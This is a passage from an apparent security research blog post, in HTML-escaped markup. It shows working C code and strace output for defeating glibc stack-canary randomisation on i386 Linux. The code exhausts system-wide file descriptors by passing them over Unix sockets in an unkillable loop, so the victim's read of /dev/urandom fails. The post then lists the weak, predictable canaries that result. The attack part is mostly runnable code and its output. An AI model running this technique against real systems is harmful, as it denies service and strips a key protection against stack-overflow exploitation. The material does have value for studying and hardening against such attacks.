&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;send_fd&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unix_fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msghdr&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmsghdr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CMSG_SPACE&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))];&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg_control&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg_controllen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CMSG_FIRSTHDR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CMSG_LEN&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg_level&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SOL_SOCKET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SCM_RIGHTS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg_controllen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;memcpy&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CMSG_DATA&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmsg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sendmsg&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unix_fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;   
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;    
 
 
 
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;crash_loop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
     
 &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
 &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;                         
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;  
     
    &lt;span class=&quot;c1&quot;&gt;//Set FD lower limit for shooting out Canary          &lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; 
 
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;strace -x -e trace=read,open ./m&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;              
             
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socketpair&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PF_UNIX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SOCK_SEQPACKET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;   
    &lt;span class=&quot;n&quot;&gt;send_fd&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;send_fd&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;close&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;close&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;                        
    &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; 
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
 
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;    
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Start Exhaustion Loop&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;  
 
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;  
            &lt;span class=&quot;n&quot;&gt;crash_loop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;
What we added is some control over the loop and nr() which probes /proc/sys/fs/file-nr and gets the current used FDs and the system&apos;s FD limit. Then we take this array and we set the lower limit of free file descriptors before attempting to &quot;lock&quot; access to /dev/urandom. Note that since this process is going to be un-killable we want it to stop at the point where we have no other free descriptors, hence we &quot;exit&quot; when we can&apos;t open /proc/sys/fs/file-nr.  We execute our victim application using strace, as we want to see all the system calls (e.g. open, read). *Note that the use of usleep might come handy if we want to stabilise our free FDs to a certain number, since the method described below is likely to be used in a waiting stabilising process form rather than executing multiple times our target program as described here.&lt;/p&gt;
&lt;p&gt;Now let&apos;s look our victim application :&lt;br /&gt;
&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdint.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt; 
 
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt; 
 
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;//STACK_CHK_GUARD  -  i386    (stackguard-macros.h)    &lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;uintptr_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
        &lt;span class=&quot;n&quot;&gt;asm&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;movl %%gs:0x14, %0&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;=r&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;fprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stderr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Cookie [%%gs:0x14=%0lx]&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;    &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;br /&gt;
We simply take the canary from %gs:0x14 and we print it out. If we execute it with strace we get the following : &lt;/p&gt;
&lt;p&gt;&lt;code&gt;
brk(0)                                  = 0x8b3e000&lt;br /&gt;
access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)&lt;br /&gt;
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8000000&lt;br /&gt;
access(&quot;/etc/ld.so.preload&quot;, R_OK)      = -1 ENOENT (No such file or directory)&lt;br /&gt;
open(&quot;/etc/ld.so.cache&quot;, O_RDONLY)      = 3&lt;br /&gt;
fstat64(3, {st_mode=S_IFREG|0644, st_size=50808, ...}) = 0&lt;br /&gt;
mmap2(NULL, 50808, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ff3000&lt;br /&gt;
close(3)                                = 0&lt;br /&gt;
access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)&lt;br /&gt;
open(&quot;/lib/tls/i686/cmov/libc.so.6&quot;, O_RDONLY) = 3&lt;br /&gt;
read(3, &quot;\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\..&quot;..., 512) = 512&lt;br /&gt;
fstat64(3, {st_mode=S_IFREG|0755, st_size=1442180, ...}) = 0&lt;br /&gt;
mmap2(NULL, 1451632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e90000&lt;br /&gt;
mprotect(0xb7fec000, 4096, PROT_NONE)   = 0&lt;br /&gt;
mmap2(0xb7fed000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15c) = 0xb7fed000&lt;br /&gt;
mmap2(0xb7ff0000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7ff0000&lt;br /&gt;
close(3)                                = 0&lt;br /&gt;
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e8f000&lt;br /&gt;
set_thread_area({entry_number:-1 -&amp;gt; 6, base_addr:0xb7e8f6c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0&lt;br /&gt;
open(&quot;/dev/urandom&quot;, O_RDONLY)          = 3&lt;br /&gt;
read(3, &quot;\xc9\x6e\xa8&quot;..., 3)           = 3&lt;br /&gt;
close(3)                                = 0&lt;br /&gt;
mprotect(0xb7fed000, 8192, PROT_READ)   = 0&lt;br /&gt;
mprotect(0x8049000, 4096, PROT_READ)    = 0&lt;br /&gt;
mprotect(0xb801f000, 4096, PROT_READ)   = 0&lt;br /&gt;
munmap(0xb7ff3000, 50808)               = 0&lt;br /&gt;
write(2, &quot;Cookie [%gs:0x14=a86ec900]\n\n&quot;..., 28Cookie [%gs:0x14=a86ec900]) = 28&lt;br /&gt;
exit_group(28)                         = ?&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We can clearly see that : &lt;/p&gt;
&lt;p&gt;&lt;code&gt;open(&quot;/dev/urandom&quot;, O_RDONLY)          = 3&lt;br /&gt;
read(3, &quot;\xc9\x6e\xa8&quot;..., 3)           = 3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;and our canary is a86ec900 (little endian + 1 null byte)&lt;/p&gt;
&lt;p&gt;Now that we have everything set let&apos;s see what happens when we execute our code: &lt;/p&gt;
&lt;p&gt;&lt;code&gt;manos@jaunty:~/p/ke$./pp&amp;amp;&lt;br /&gt;
Start Exhaustion Loop&lt;br /&gt;
.&lt;br /&gt;
.&lt;br /&gt;
.&lt;br /&gt;
open(&quot;/etc/ld.so.cache&quot;, O_RDONLY)      = 3&lt;br /&gt;
open(&quot;/lib/tls/i686/cmov/libc.so.6&quot;, O_RDONLY) = 3&lt;br /&gt;
read(3, &quot;\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00....., 512) = 512&lt;br /&gt;
open(&quot;/dev/urandom&quot;, O_RDONLY)          = 3&lt;br /&gt;
read(3, &quot;\x04\xe8\x8e&quot;..., 3)           = 3&lt;br /&gt;
Cookie [%gs:0x14=8ee80400]&lt;br /&gt;
open(&quot;/etc/ld.so.cache&quot;, O_RDONLY)      = 0&lt;br /&gt;
open(&quot;/lib/tls/i686/cmov/libc.so.6&quot;, O_RDONLY) = 0&lt;br /&gt;
read(0, &quot;\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x0..&quot;..., 512) = 512&lt;br /&gt;
open(&quot;/dev/urandom&quot;, O_RDONLY)          = 0&lt;br /&gt;
read(0, &quot;ATX&quot;..., 3)                    = 3&lt;br /&gt;
Cookie [%gs:0x14=58544100]&lt;br /&gt;
open(&quot;/etc/ld.so.cache&quot;, O_RDONLY)      = 3&lt;br /&gt;
open(&quot;/lib/tls/i686/cmov/libc.so.6&quot;, O_RDONLY) = 3&lt;br /&gt;
read(3, &quot;\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03..&quot;..., 512) = 512&lt;br /&gt;
&lt;strong&gt;open(&quot;/dev/urandom&quot;, O_RDONLY)          = -1 ENFILE (Too many open files in system)&lt;br /&gt;
Cookie [%gs:0x14=a967000]&lt;/strong&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;Overshoot FDs - exiting&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;As we can see, after some executions we managed to block ENABLE_STACKGUARD_RANDOMIZE with an ENFILE error and jump straight after the if statement. Clearly we should have seen ff0a0000 here. After some more tries we observe the following canary values (for fd =-1) : &lt;/p&gt;
&lt;p&gt;&lt;code&gt;..&lt;br /&gt;
0xe8537000&lt;br /&gt;
0x1c0d7000&lt;br /&gt;
0x146c7000&lt;br /&gt;
0xe8b0f000&lt;br /&gt;
0x1d487000&lt;br /&gt;
0x13d2f000&lt;br /&gt;
0x15caf000&lt;br /&gt;
 0x7c3f000&lt;br /&gt;
0xe1b47000&lt;br /&gt;
 0x6e77000&lt;br /&gt;
0xe5a47000&lt;br /&gt;
0x1ab7f000&lt;br /&gt;
0xf4237000&lt;br /&gt;
0x1978f000&lt;br /&gt;
0xe584f000&lt;br /&gt;
 0x5287000&lt;br /&gt;
0x18de7000&lt;br /&gt;
 0xb517000&lt;br /&gt;
0x1311f000&lt;br /&gt;
0xf1f47000&lt;br /&gt;
 0x310f000&lt;br /&gt;
0xfe0b7000&lt;br /&gt;
0xf7ccf000&lt;br /&gt;
0xff2ff000&lt;br /&gt;
0xf8d07000&lt;br /&gt;
 0x6e77000&lt;br /&gt;
0xf35ef000&lt;br /&gt;
